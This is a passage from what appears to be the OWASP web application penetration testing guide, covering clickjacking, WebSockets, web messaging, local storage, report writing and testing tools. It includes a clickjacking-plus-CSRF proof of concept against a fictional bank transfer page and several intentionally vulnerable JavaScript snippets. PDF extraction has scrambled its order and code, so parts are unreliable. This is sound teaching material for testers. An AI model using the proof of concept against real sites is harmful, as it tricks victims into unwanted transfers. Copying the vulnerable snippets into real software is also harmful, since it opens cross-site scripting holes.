header then the site loses its framing protection. Mobile website version Also in this case, since the “X-FRAME-OPTIONS” has to be implemented in every page of the website, the developers may have not protected the mobile version of the website. Create a “proof of concept” Once we have discovered that the site we are testing is vulnerable to clickjacking attack, we can proceed with the development of a “proof of concept” to demonstrate the vulnerability. It is important to note that, as mentioned previously, these attacks can be used in conjunction with other forms of attacks (for example CSRF attacks) and could lead to overcome anti-CSRF tokens. In this regard we can imagine that, for example, the target site allows to authenticated and authorized users to make a transfer of money to another account. Suppose that to execute the transfer the developers have planned three steps. In the first step the user fill a form with the destination account and the amount. In the second step, whenever the user submits the form, is presented a summary page asking the user confirmation (like the one presented in the following picture). Example: window.defineSetter(“location” , function(){}); Server side protection: X-Frame-Options An alternative approach to client side frame busting code was implemented by Microsoft and it consists of an header based defense. This new “X-FRAME-OPTIONS” header is sent from the server on HTTP Following a snippet of the code for the step 2: //generate random anti CSRF token$csrfToken = md5(uniqid(rand(), TRUE));

204

Web Application Penetration Testing

//set the token as in the session data
$_SESSION[‘antiCsrf’] =$csrfToken;
//Transfer form with the hidden field
$form = ‘ BANK XYZ - Confirm Transfer Do You want to confirm a transfer of ’.$_REQUEST[‘amount’] .’ € to account: ’. $_REQUEST[‘account’] .’ ? ’; a random token generated in the second step and accepting only variable passed via POST method. In this situation an attacker could forge a CSRF + Clickjacking attack to evade anti-CSRF protection and force a victim to do a money transfer without her consent. The target page for the attack is the second step of the money transfer procedure. Since the developers put the security controls only in the last step, thinking that this is secure enough, the attacker could pass the account and amount parameters via GET method. (Note: there is an advanced clickjacking attack that permits to force users to fill a form, so also in the case in which is required to fill a form, the attack is feasible). The attacker’s page may look a simple and harmless web page like the one presented below: But playing with the CSS opacity value we can see what is hidden under a seemingly innocuous web page. In the last step are planned security controls and then, if is all ok, the transfer is done. Following is presented a snippet of the code of the last step (Note: in this example, for simplicity, there is no input sanitization, but it has no relevance to block this type of attack): if( (!empty($_SESSION[‘antiCsrf’])) && (!empty($_POST[‘antiCsrf’])) ) { //here we can suppose input sanitization code… //check the anti-CSRF token if( ($_SESSION[‘antiCsrf’] == $_POST[‘antiCsrf’]) ) { echo ‘ ‘.$_POST[‘amount’] .’ € successfully transfered to account: ‘. \$_POST[‘account’] .’ ’;
}
}
else
{
}

echo ‘Transfer KO’;

As you can see the code is protected from CSRF attack both with

Trusted web page

<!-			*{
margin:0;
}
body {
background:#ffffff;
}
.button
{
background:#6699CC;
left:275px;
width:120px;
border: 1px solid

205

Web Application Penetration Testing

}
#content {
width: 500px;
height: 500px;
margin-top: 150px ;
margin-left: 500px;
}
#clickjacking
{
position: absolute;
left: 172px;
top: 60px;
filter: alpha(opacity=0);
opacity:0.0
}
//-->

www.owasp.com

With the help of CSS (note the #clickjacking block) we can mask and
suitably position the iframe in such a way as to match the buttons.
If the victim click on the button “Click and go!” the form is submitted
and the transfer is completed.

Tools

• Context Information Security: “Clickjacking Tool” - http://www
contextis.com/research/tools/clickjacking-tool/
References
OWASP Resources
• Clickjacking
Whitepapers
• Marcus Niemietz: “UI Redressing: Attacks and Countermeasures
Revisited” - http://ui-redressing.mniemietz.de/uiRedressing.pdf
• “Clickjacking” - https://en.wikipedia.org/wiki/Clickjacking
• Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson:
“Busting Frame Busting: a Study of Clickjacking Vulnerabilities on
Popular Sites” - http://seclab.stanford.edu/websec/framebusting/
framebust.pdf
• Paul Stone: “Next generation clickjacking” - https://media.blackhat
com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-StoneNext-Generation-Clickjacking-slides.pdf

Testing WebSockets (OTG-CLIENT-010)

Summary
Traditionally the HTTP protocol only allows one request/response
per TCP connection. Asynchronous JavaScript and XML (AJAX) allows clients to send and receive data asynchronously (in the background without a page refresh) to the server, however, AJAX requires
the client to initiate the requests and wait for the server responses
(half-duplex).
HTML5 WebSockets allow the client/server to create a ‘full-duplex’
(two-way) communication channels, allowing the client and server
to truly communicate asynchronously. WebSockets conduct their
initial ‘upgrade’ handshake over HTTP and from then on all communication is carried out over TCP channels by use of frames.
Origin
It is the server’s responsibility to verify the Origin header in the initial
HTTP WebSocket handshake. If the server does not validate the origin header in the initial WebSocket handshake, the WebSocket server
may accept connections from any origin. This could allow attackers
to communicate with the WebSocket server cross-domain allowing
for Top 10 2013-A8-Cross-Site Request Forgery (CSRF) type issues.
Confidentiality and Integrity
WebSockets can be used over unencrypted TCP or over encrypted
TLS. To use unencrypted WebSockets the ws:// URI scheme is used
(default port 80), to use encrypted (TLS) WebSockets the wss:// URI
scheme is used (default port 443). Look out for Top 10 2013-A6-Sensitive Data Exposure type issues.
Authentication
WebSockets do not handle authentication, instead normal application
authentication mechanisms apply, such as cookies, HTTP Authentication or TLS authentication. Look out for Top 10 2013-A2-Broken
Authentication and Session Management type issues.

The example presented uses only basic clickjacking technique, but
with advanced technique is possible to force user filling form with
values defined by the attacker.

Authorization
WebSockets do not handle authorization, normal application authorization mechanisms apply. Look out for Top 10 2013-A4-Insecure
Direct Object References and Top 10 2013-A7-Missing Function
Level Access Control type issues.

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Web Application Penetration Testing

Input Sanitization
As with any data originating from untrusted sources, the data should
be properly sanitised and encoded. Look out for Top 10 2013-A1-Injection and Top 10 2013-A3-Cross-Site Scripting (XSS) type issues.
How to Test
Black Box testing
1. Identify that the application is using WebSockets.
• Inspect the client-side source code for the ws:// or wss:// URI
scheme.
• Use Google Chrome’s Developer Tools to view the Network
WebSocket communication.
• Use OWASP Zed Attack Proxy (ZAP)’s WebSocket tab.

Example 2
Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If the connection is allowed the WebSocket server may not be checking the
WebSocket handshake’s origin header. Attempt to replay requests
previously intercepted to verify that cross-domain WebSocket communication is possible.

2. Origin.
• Using a WebSocket client (one can be found in the Tools section
below) attempt to connect to the remote WebSocket server. If a
connection is established the server may not be checking the origin
3. Confidentiality and Integrity.
• Check that the WebSocket connection is using SSL to transport
sensitive information (wss://).
• Check the SSL Implementation for security issues (Valid Certificate,
BEAST, CRIME, RC4, etc). Refer to the Testing for Weak SSL/
TLS Ciphers, Insufficient Transport Layer Protection (OTGCRYPST-001) section of this guide.
4. Authentication.
• WebSockets do not handle authentication, normal black box
authentication tests should be carried out. Refer to the
Authentication Testing sections of this guide.
5. Authorization.
• WebSockets do not handle authorization, normal black-box
authorization tests should be carried out. Refer to the Authorization
Testing sections of this guide.
6. Input Sanitization.
• Use OWASP Zed Attack Proxy (ZAP)’s WebSocket tab to replay
and fuzz WebSocket request and responses. Refer to the Testing
for Data Validation sections of this guide.
Example 1
Once we have identified that the application is using WebSockets (as
described above) we can use the OWASP Zed Attack Proxy (ZAP) to
intercept the WebSocket request and responses. ZAP can then be
used to replay and fuzz the WebSocket request/responses.

Gray Box testing
Gray box testing is similar to black box testing. In gray box testing the
pen-tester has partial knowledge of the application. The only difference here is that you may have API documentation for the application being tested which includes the expected WebSocket request
and responses.
Tools
• OWASP Zed Attack Proxy (ZAP) - https://www.owasp.org/index
php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding
vulnerabilities in web applications. It is designed to be used by people
with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing.
ZAP provides automated scanners as well as a set of tools that allow
you to find security vulnerabilities manually.
• WebSocket Client - https://github.com/RandomStorm/scripts
blob/master/WebSockets.html
A WebSocket client that can be used to interact with a WebSocket
server.
• Google Chrome Simple WebSocket Client - https://chrome
pfdhoblngboilpfeibdedpjgfnlcodoo?hl=en
Construct custom Web Socket requests and handle responses to directly test your Web Socket services.
References
Whitepapers
• HTML5 Rocks - Introducing WebSockets: Bringing Sockets to
the Web: http://www.html5rocks.com/en/tutorials/websockets/
basics/
• W3C - The WebSocket API: http://dev.w3.org/html5/websockets/
• IETF - The WebSocket Protocol: https://tools.ietf.org/html
rfc6455

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Web Application Penetration Testing

• Christian Schneider - Cross-Site WebSocket Hijacking (CSWSH):
http://www.christian-schneider.net/
CrossSiteWebSocketHijacking.html
• Jussi-Pekka Erkkilä - WebSocket Security Analysis: http://juerkkil
iki.fi/files/writings/websocket2012.pdf
• Robert Koch- On WebSockets in Penetration Testing: http://www
ub.tuwien.ac.at/dipl/2013/AC07815487.pdf
• DigiNinja - OWASP ZAP and Web Sockets: http://www.digininja
org/blog/zap_web_sockets.php

Test Web Messaging (OTG-CLIENT-011)

Summary
Web Messaging (also known as Cross Document Messaging) allows
applications running on different domains to communicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows)
was restricted by the same origin policy and enforced by the browser, however developers used multiple hacks in order to accomplish
these tasks, most of them were mainly insecure.
This restriction within the browser is in place to restrict a malicious
website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites
need to exchange data between each other. To meet this need Cross
Document Messaging was introduced within he WHATWG HTML5
draft specification and implemented in all major browsers. It enables
secure communication between multiple origins across iframes,
tabs and windows.
The Messaging API introduced the postMessage() method, with
which plain-text messages can be sent cross-origin. It consists of
two parameters, message and domain.
There are some security concerns when using ‘*’ as the domain that
we discuss below. Then, in order to receive messages the receiving
website needs to add a new event handler, and has the following attributes:
• data: The content of the incoming message
• origin: The origin of the sender document
• source: source window
An example:
Send message:
iframe1.contentWindow.postMessage(“Hello world”,”http://
www.example.com”);
function handler(event) {
if(event.origin === ‘chat.example.com’) {
/* process message (event.data) */
} else {
/* ignore messages from untrusted domains */
}
}

Origin Security Concept
The origin is made up of a scheme, host name and port and identifies
uniquely the domain sending or receiving the message, it does not
include the path or the fragment part of the url. For instance, https://
example.com/ will be considered different from http://example.com
because the schema in the first case is https and in the second http,
same applies to web servers running in the same domain but different port.
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish this is using a whitelist. Also within the
sending domain, we also want to make sure they are explicitly stating the receiving domain and not ‘*’ as the second argument of postMessage() as this practice could introduce security concerns too,
and could lead to, in the case of a redirection or if the origin changes
by other means, the website sending data to unknown hosts, and
therefore, leaking confidential data to malicious servers.
In the case the website failed to add security controls to restrict the
domains or origins that can send messages to a website most likely
will introduce a security risk so it is very interesting part of the code
from a penetration testing point of view. We should scan the code
for message event listeners, and get the callback function from the
addEventListener method to further analysis as domains must be
always be verified prior data manipulation.
event.data Input Validation
Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the
data as external untrusted data and apply the same level of security controls to it. We should analyze the code and look for insecure
methods, in particular if data is being evaluated via
eval()
or inserted into the DOM via the
innerHTML
property as that would create a DOM-based XSS vulnerability.
How to Test
Black Box testing
Black box testing for vulnerabilities on Web Messaging is not usually
performed since access to the source code is always available as it
needs to be sent to the client to be executed.
Gray Box testing
Manual testing needs to be conducted and the JavaScript code analyzed looking for how Web Messaging is implemented. In particular
we should be interested in how the website is restricting messages
from untrusted domain and how the data is handled even for trusted
domains. Below are some examples:
Vulnerable code example:
In this example, access is needed for every subdomain (www, chat,
forums, ...) within the owasp.org domain. The code is trying to accept
any domain ending on .owasp.org:

208

Web Application Penetration Testing

function callback(e) {
if(e.origin.indexOf(“.owasp.org”)!=-1) {
/* process message (e.data) */
}
}
The intention is to allow subdomains in this form:
www.owasp.org
chat.owasp.org
forums.owasp.org
...
Insecure code. An attacker can easily bypass the filter as www.
owasp.org.attacker.com will match.
Example of lack of origin check, very insecure as will accept input
from any domain:
function callback(e) {
/* process message (e.data) */
}
Input validation example: Lack of security controls lead to Cross-Site
Scripting (XSS)
function callback(e) {
if(e.origin === “trusted.domain.com”) {
element.innerHTML= e.data;
}
}

This code will lead to Cross-Site Scripting (XSS) vulnerabilities as
data is not being treated properly, a more secure approach would be
to use the property textContent instead of innetHTML.

Tools

• OWASP Zed Attack Proxy (ZAP) - https://www.owasp.org/index
php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding
vulnerabilities in web applications. It is designed to be used by people
with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing.
ZAP provides automated scanners as well as a set of tools that allow
you to find security vulnerabilities manually.
References
OWASP Resources

• OWASP HTML5 Security Cheat Sheet: https://www.owasp.org
index.php/HTML5_Security_Cheat_Sheet
Whitepapers
• Web Messaging Specification: http://www.whatwg.org/specs
web-apps/current-work/multipage/web-messaging.html

Test Local Storage (OTG-CLIENT-012)

Summary
Local Storage also known as Web Storage or Offline Storage is a
mechanism to store data as key/value pairs tied to a domain and
enforced by the same origin policy (SOP). There are two objects,
localStorage that is persistent and is intended to survive browser/
system reboots and sessionStorage that is temporary and will only
exists until the window or tab is closed.
On average browsers allow to store in this storage around 5MB per
domain, that compared to the 4KB of cookies is a big difference, but
the key difference from the security perspective is that the data
stored in these two objects is kept in the client and never sent to the
server, this also improves network performance as data do not need
to travel over the wire back and forth.
localStorage
and getItem functions. The storage can be read from javascript which means with a single XSS an attacker would be able
to extract all the data from the storage. Also malicious data
can be loaded into the storage via JavaScript so the application needs to have the controls in place to treat untrusted data.
Check if there are more than one application in the same domain like
example.foo/app1 and example.foo/app2 because those will share
the same storage.
Data stored in this object will persist after the window is closed, it is
a bad idea to store sensitive data or session identifiers on this object
as these can be accesed via JavaScript. Session IDs stored in cookies
can mitigate this risk using the httpOnly flag.
sessionStorage
Main difference with localStorage is that the data stored in this object
is only accessible until the tab/window is closed which is a perfect
candidate for data that doesn’t need to persist between sessions. It
shares most of the properties and the getItem/setItem methods, so
manual testing needs to be undertaken to look for these methods
and identify in which parts of the code the storage is accessed.
How to Test
Black Box testing
Black box testing for issues within the Local Storage code is not usually performed since access to the source code is always available as
it needs to be sent to the client to be executed.
Gray Box testing
First of all, we need to check whether the Local Storage is used.
for(var i=0; i

Then under Resources you will see ‘Local Storage’ and ‘Web Storage’.

Using Firefox with the Firebug add on you can easily inspect the localStorage/sessionStorage object in the DOM tab.

Also, we can inspect these objects from the developer tools of our
browser.
Next manual testing needs to be conducted in order to determine
whether the website is storing sensitive data in the storage that
represents a risk and will increase dramatically the impact of a information leak. Also check the code handling the Storage to determine if it is vulnerable to injection attacks, common issue when the
code does not escape the input or output. The JavaScript code has
to be analyzed to evaluate these issues, so make sure you crawl the
application to discover every instance of JavaScript code and note
sometimes applications use third-party libraries that would need to
be examined too.
Here is an example of how improper use of user input and lack of
validation can lead to XSS attacks.
Example 2: XSS in localStorage:
Insecure assignment from localStorage can lead to XSS
function action(){
var resource = location.hash.substring(1);
localStorage.setItem(“item”,resource);
item = localStorage.getItem(“item”);
document.getElementById(“div1”).innerHTML=item;
}

URL PoC:

Tools

• Firebug - http://getfirebug.com/
chrome-developer-tools/
• OWASP Zed Attack Proxy (ZAP) - https://www.owasp.org/index
php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding
vulnerabilities in web applications. It is designed to be used by people
with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing.
ZAP provides automated scanners as well as a set of tools that allow
you to find security vulnerabilities manually.
References
OWASP Resources
• OWASP HTML5 Security Cheat Sheet: https://www.owasp.org
index.php/HTML5_Security_Cheat_Sheet
Whitepapers
• Web Storage Specification: http://www.w3.org/TR/webstorage/

210

5

Reporting
Performing the technical side of the assessment is only half
of the overall assessment process. The final product is the
production of a well written and informative report. A report
should be easy to understand and should highlight all the
risks found during the assessment phase.

Performing the technical side of the assessment is only half of the
overall assessment process. The final product is the production
of a well written and informative report. A report should be easy
to understand and should highlight all the risks found during the
assessment phase. The report should appeal to both executive
management and technical staff.
The report needs to have three major sections. It should be created in a manner that allows each separate section to be printed and
given to the appropriate teams, such as the developers or system
managers. The recommended sections are outlined below.
1. Executive Summary
The executive summary sums up the overall findings of the assessment and gives business managers and system owners a
high level view of the vulnerabilities discovered. The language
used should be more suited to people who are not technically
aware and should include graphs or other charts which show the
risk level. Keep in mind that executives will likely only have time to
language: 1) What’s wrong? 2) How do I fix it? You have one page
The executive summary should plainly state that the vulnerabilities and their severity is an input to their organizational risk management process, not an outcome or remediation. It is safest to
explain that tester does not understand the threats faced by the
organization or business consequences if the vulnerabilities are
exploited. This is the job of the risk professional who calculates
risk levels based on this and other information. Risk management
will typically be part of the organization’s IT Security Governance,
Risk and Compliance (GRC) regime and this report will simply provide an input to that process.
2. Test Parameters
The Introduction should outline the parameters of the security
testing, the findings and remediation. Some suggested section
2.1 Project Objective: This section outlines the project objectives
and the expected outcome of the assessment.
2.2 Project Scope: This section outlines the agreed scope.
2.3 Project Schedule This section outlines when the testing commenced and when it was completed.
2.4 Targets: This section lists the number of applications or targeted systems.
2.5 Limitations: This section outlines every limitation which was

faced throughout the assessment. For example, limitations of
project-focused tests, limitation in the security testing methods, performance or technical issues that the tester come across
during the course of assessment, etc.
2.6 Findings Summary This section outlines the vulnerabilities
that were discovered during testing.
2.7 Remediation Summary This section outlines the action plan
for fixing the vulnerabilities that were discovered during testing.
3. Findings
The last section of the report includes detailed technical information about the vulnerabilities found and the actions needed to
resolve them. This section is aimed at a technical level and should
include all the necessary information for the technical teams to
understand the issue and resolve it. Each finding should be clear
and concise and give the reader of the report a full understanding
of the issue at hand.
The findings section should include:
• Screenshots and command lines to indicate what tasks were
undertaken during the execution of the test case
• The affected item
• A technical description of the issue and the affected function
or object
• A section on resolving the issue
• The severity rating [1], with vector notation if using CVSS
The following is the list of controls that were tested during the
assessment:

211

Reporting

Test ID

Lowest version

Information Gathering
OTG-INFO-001

Conduct Search Engine Discovery and Reconnaissance for Information Leakage

OTG-INFO-002

Fingerprint Web Server

OTG-INFO-003

Review Webserver Metafiles for Information Leakage

OTG-INFO-004

Enumerate Applications on Webserver

OTG-INFO-005

OTG-INFO-006

Identify application entry points

OTG-INFO-007

Map execution paths through application

OTG-INFO-008

Fingerprint Web Application Framework

OTG-INFO-009

Fingerprint Web Application

OTG-INFO-010

Map Application Architecture

Configuration and Deploy Management Testing
OTG-CONFIG-001

Test Network/Infrastructure Configuration

OTG-CONFIG-002

Test Application Platform Configuration

OTG-CONFIG-003

Test File Extensions Handling for Sensitive Information

OTG-CONFIG-004

Backup and Unreferenced Files for Sensitive Information

OTG-CONFIG-005

Enumerate Infrastructure and Application Admin Interfaces

OTG-CONFIG-006

Test HTTP Methods

OTG-CONFIG-007

Test HTTP Strict Transport Security

OTG-CONFIG-008

Test RIA cross domain policy

Identity Management Testing
OTG-IDENT-001

Test Role Definitions

OTG-IDENT-002

Test User Registration Process

OTG-IDENT-003

Test Account Provisioning Process

OTG-IDENT-004

Testing for Account Enumeration and Guessable User Account

OTG-IDENT-005

Testing for Weak or unenforced username policy

OTG-IDENT-006

Test Permissions of Guest/Training Accounts

OTG-IDENT-007

Test Account Suspension/Resumption Process

Authentication Testing
OTG-AUTHN-001

Testing for Credentials Transported over an Encrypted Channel

OTG-AUTHN-002

Testing for default credentials

OTG-AUTHN-003

Testing for Weak lock out mechanism

OTG-AUTHN-004

Testing for bypassing authentication schema

OTG-AUTHN-005

OTG-AUTHN-006

Testing for Browser cache weakness

OTG-AUTHN-007

OTG-AUTHN-008

OTG-AUTHN-009

Testing for weak password change or reset functionalities

OTG-AUTHN-010

Testing for Weaker authentication in alternative channel

Authorization Testing
OTG-AUTHZ-001

Testing Directory traversal/file include

OTG-AUTHZ-002

Testing for bypassing authorization schema

OTG-AUTHZ-003

Testing for Privilege Escalation

OTG-AUTHZ-004

Testing for Insecure Direct Object References

212

Reporting

Test ID

Lowest version

Session Management Testing
OTG-SESS-001

Testing for Bypassing Session Management Schema

OTG-SESS-002

OTG-SESS-003

Testing for Session Fixation

OTG-SESS-004

Testing for Exposed Session Variables

OTG-SESS-005

Testing for Cross Site Request Forgery

OTG-SESS-006

Testing for logout functionality

OTG-SESS-007

Test Session Timeout

OTG-SESS-008

Testing for Session puzzling

Input Validation Testing
OTG-INPVAL-001

Testing for Reflected Cross Site Scripting

OTG-INPVAL-002

Testing for Stored Cross Site Scripting

OTG-INPVAL-003

Testing for HTTP Verb Tampering

OTG-INPVAL-004

Testing for HTTP Parameter pollution

OTG-INPVAL-006

Testing for SQL Injection
Oracle Testing
SQL Server Testing
Testing PostgreSQL
MS Access Testing
Testing for NoSQL injection

OTG-INPVAL-007

Testing for LDAP Injection

OTG-INPVAL-008

Testing for ORM Injection

OTG-INPVAL-009

Testing for XML Injection

OTG-INPVAL-010

Testing for SSI Injection

OTG-INPVAL-011

Testing for XPath Injection

OTG-INPVAL-012

IMAP/SMTP Injection

OTG-INPVAL-013

Testing for Code Injection
Testing for Local File Inclusion
Testing for Remote File Inclusion

OTG-INPVAL-014

Testing for Command Injection

OTG-INPVAL-015

Testing for Buffer overflow
Testing for Heap overflow
Testing for Stack overflow
Testing for Format string

OTG-INPVAL-016

Testing for incubated vulnerabilities

OTG-INPVAL-017

Testing for HTTP Splitting/Smuggling

Error Handling
OTG-ERR-001

Analysis of Error Codes

OTG-ERR-002

Analysis of Stack Traces

Cryptography
OTG-CRYPST-001

Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection

OTG-CRYPST-002

OTG-CRYPST-003

Testing for Sensitive information sent via unencrypted channels

213

Reporting

Test ID

Lowest version

OTG-BUSLOGIC-001

OTG-BUSLOGIC-002

Test Ability to Forge Requests

OTG-BUSLOGIC-003

Test Integrity Checks

OTG-BUSLOGIC-004

Test for Process Timing

OTG-BUSLOGIC-005

Test Number of Times a Function Can be Used Limits

OTG-BUSLOGIC-006

Testing for the Circumvention of Work Flows

OTG-BUSLOGIC-007

Test Defenses Against Application Mis-use

OTG-BUSLOGIC-008

Test Upload of Unexpected File Types

OTG-BUSLOGIC-009

Client Side Testing
OTG-CLIENT-001

Testing for DOM based Cross Site Scripting

OTG-CLIENT-002

Testing for JavaScript Execution

OTG-CLIENT-003

Testing for HTML Injection

OTG-CLIENT-004

Testing for Client Side URL Redirect

OTG-CLIENT-005

Testing for CSS Injection

OTG-CLIENT-006

Testing for Client Side Resource Manipulation

OTG-CLIENT-007

Test Cross Origin Resource Sharing

OTG-CLIENT-008

Testing for Cross Site Flashing

OTG-CLIENT-009

Testing for Clickjacking

OTG-CLIENT-010

Testing WebSockets

OTG-CLIENT-011

Test Web Messaging

OTG-CLIENT-012

Test Local Storage

214

Appendix

Appendix
This section is often used to describe the commercial and opensource tools that were used in conducting the assessment. When
custom scripts or code are utilized during the assessment, it should
be disclosed in this section or noted as attachment. Customers appreciate when the methodology used by the consultants is included. It
gives them an idea of the thoroughness of the assessment and what
areas were included.
References Industry standard vulnerability severity and risk rankings
(CVSS) [1] – http://www.first.org/cvss

Appendix A: Testing Tools

Open Source Black Box Testing tools
General Testing
OWASP ZAP
• The Zed Attack Proxy (ZAP) is an easy to use integrated penetration
testing tool for finding vulnerabilities in web applications. It is designed
to be used by people with a wide range of security experience and as
such is ideal for developers and functional testers who are new to
penetration testing.
• ZAP provides automated scanners as well as a set of tools that allow
you to find security vulnerabilities manually.
OWASP WebScarab
• WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. It is written in Java, and is
portable to many platforms. WebScarab has several modes of operation that are implemented by a number of plugins.
OWASP CAL9000
• CAL9000 is a collection of browser-based tools that enable more effective and efficient manual testing efforts.
• Includes an XSS Attack Library, Character Encoder/Decoder, HTTP
Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more.
OWASP Pantera Web Assessment Studio Project
• Pantera uses an improved version of SpikeProxy to provide a powerful web application analysis engine. The primary goal of Pantera is to
combine automated capabilities with complete manual testing to get
the best penetration testing results.
OWASP Mantra - Security Framework
• Mantra is a web application security testing framework built on top
of a browser. It supports Windows, Linux(both 32 and 64 bit) and Macintosh. In addition, it can work with other software like ZAP using built
in proxy management function which makes it much more convenient. Mantra is available in 9 languages: Arabic, Chinese - Simplified,
Chinese - Traditional, English, French, Portuguese, Russian, Spanish
and Turkish.
SPIKE - http://www.immunitysec.com/resources-freesoftware.shtml
• SPIKE designed to analyze new network protocols for buffer overflows or similar weaknesses. It requires a strong knowledge of C to
use and only available for the Linux platform.
Burp Proxy - http://www.portswigger.net/Burp/
• Burp Proxy is an intercepting proxy server for security testing of web
applications it allows Intercepting and modifying all HTTP(S) traffic

passing in both directions, it can work with custom SSL certificates
and non-proxy-aware clients.
Odysseus Proxy - http://www.wastelands.gen.nz/odysseus/
• Odysseus is a proxy server, which acts as a man-in-the-middle
during an HTTP session. A typical HTTP proxy will relay packets to and
from a client browser and a web server. It will intercept an HTTP session’s data in either direction.
Webstretch Proxy - http://sourceforge.net/projects/webstretch
• Webstretch Proxy enable users to view and alter all aspects of communications with a web site via a proxy. It can also be used for debugging during development.
WATOBO - http://sourceforge.net/apps/mediawiki/watobo/index.
php?title=Main_Page
• WATOBO works like a local proxy, similar to Webscarab, ZAP or
BurpSuite and it supports passive and active checks.
• View HTTP headers of a page and while browsing.
• Use tamperdata to view and modify HTTP/HTTPS headers and post
parameters
Firefox Web Developer Tools - https://addons.mozilla.org/en-US/
• The Web Developer extension adds various web developer tools to
the browser.
DOM Inspector - https://developer.mozilla.org/en/docs/DOM_Inspector
• DOM Inspector is a developer tool used to inspect, browse, and edit
the Document Object Model (DOM)
Firefox Firebug - http://getfirebug.com/
• Firebug integrates with Firefox to edit, debug, and monitor CSS,
HTML, and JavaScript.
Grendel-Scan - http://securitytube-tools.net/index.php?title=Grendel_Scan
• Grendel-Scan is an automated security scanning of web applications
and also supports manual penetration testing.
OWASP SWFIntruder - http://www.mindedsecurity.com/swfintruder.
html
• SWFIntruder (pronounced Swiff Intruder) is the first tool specifically
developed for analyzing and testing security of Flash applications at
runtime.
SWFScan - http://h30499.www3.hp.com/t5/Following-the-Wh1t3-Rabbit/SWFScan-FREE-Flash-decompiler/bap/5440167
• Flash decompiler
Wikto - http://www.sensepost.com/labs/tools/pentest/wikto
• Wikto features including fuzzy logic error code checking, a back-end
miner, Google-assisted directory mining and real time HTTP request/
response monitoring.
w3af - http://w3af.org
• w3af is a Web Application Attack and Audit Framework. The project’s
goal is finding and exploiting web application vulnerabilities.
• Skipfish is an active web application security reconnaissance tool.
• The Web Developer extension adds a toolbar button to the browser
with various web developer tools. This is the official port of the Web
Developer extension for Firefox.

215

Appendix

kajfghlhfkcocafkcjlajldicbikpgnp?hl=en-US
• Request Maker is a tool for penetration testing. With it you can easily
and POST data and, of course, make new requests
• Swap My Cookies is a session manager, it manages cookies, letting
you login on any website with several different accounts.
Firebug lite for Chrome”” - https://chrome.google.com/webstore/detail/bmagokdooijbeehmkpknfglimnifench
• Firebug Lite is not a substitute for Firebug, or Chrome Developer
Tools. It is a tool to be used in conjunction with these tools. Firebug
Lite provides the rich visual representation we are used to see in Firebug when it comes to HTML elements, DOM elements, and Box Model
shading. It provides also some cool features like inspecting HTML elements with your mouse, and live editing CSS properties
bbcnbpafconjjigibnhbfmmgdbbkcjfi
• With Session Manager you can quickly save your current browser
state and reload it whenever necessary. You can manage multiple
sessions, rename or remove them from the session library. Each session remembers the state of the browser at its creation time, i.e the
opened tabs and windows.
Subgraph Vega - http://www.subgraph.com/products.html
• Vega is a free and open source scanner and testing platform to test
the security of web applications. Vega can help you find and validate
SQL Injection, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. It is written in Java, GUI
based, and runs on Linux, OS X, and Windows.
Testing for specific vulnerabilities
Testing for DOM XSS
• DOMinator Pro - https://dominator.mindedsecurity.com
Testing AJAX
• OWASP Sprajax Project
Testing for SQL Injection
• OWASP SQLiX
• Sqlninja: a SQL Server Injection & Takeover Tool - http://sqlninja.
sourceforge.net
• Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://
sqlmap.org/
• Absinthe 1.1 (formerly SQLSqueal) - http://sourceforge.net/projects/
absinthe/
• SQLInjector - Uses inference techniques to extract data and
determine the backend database server. http://www.databasesecurity.
com/sql-injector.htm
• Bsqlbf-v2: A perl script allows extraction of data from Blind SQL
• Pangolin: An automatic SQL injection penetration testing tool - http://
www.darknet.org.uk/2009/05/pangolin-automatic-sql-injectiontool/
• Antonio Parata: Dump Files by sql inference on Mysql - SqlDumper http://www.ruizata.com/
• Multiple DBMS Sql Injection tool - SQL Power Injector - http://www.
sqlpowerinjector.com/

• MySql Blind Injection Bruteforcing, Reversing.org - sqlbftools - http://
packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html
Testing Oracle
• TNS Listener tool (Perl) - http://www.jammed.com/%7Ejwa/hacks/
security/tnscmd/tnscmd-doc.html
Testing SSL
free-tools/ssldigger.aspx
• THC Hydra - http://www.thc.org/thc-hydra/
• John the Ripper - http://www.openwall.com/john/
• Brutus - http://www.hoobie.net/brutus/
• Medusa - http://www.foofus.net/~jmk/medusa/medusa.html
• Ncat - http://nmap.org/ncat/
Testing Buffer Overflow
OllyDbg - http://www.ollydbg.de
• “A windows based debugger used for analyzing buffer overflow
vulnerabilities”
• A fuzzer framework that can be used to explore vulnerabilities and
perform length testing
Brute Force Binary Tester (BFB) - http://bfbtester.sourceforge.net
• A proactive binary checker
Metasploit - http://www.metasploit.com/
• A rapid exploit development and Testing frame work
Fuzzer
• OWASP WSFuzzer
• Wfuzz - http://www.darknet.org.uk/2007/07/wfuzz-a-tool-forbruteforcingfuzzing-web-applications/
Googling
• Stach & Liu’s Google Hacking Diggity Project - http://www.stachliu.
• Foundstone Sitedigger (Google cached fault-finding) - http://www.
Commercial Black Box Testing tools
• NGS Typhon III - http://www.nccgroup.com/en/our-services/
security-testing-audit-compliance/information-security-software/
ngs-typhon-iii/
• NGSSQuirreL - http://www.nccgroup.com/en/our-services/securitytesting-audit-compliance/information-security-software/ngssquirrel-vulnerability-scanners/
• IBM AppScan - http://www-01.ibm.com/software/awdtools/
appscan/
• Cenzic Hailstorm - http://www.cenzic.com/products_services/
cenzic_hailstorm.php
• Burp Intruder - http://www.portswigger.net/burp/intruder.html
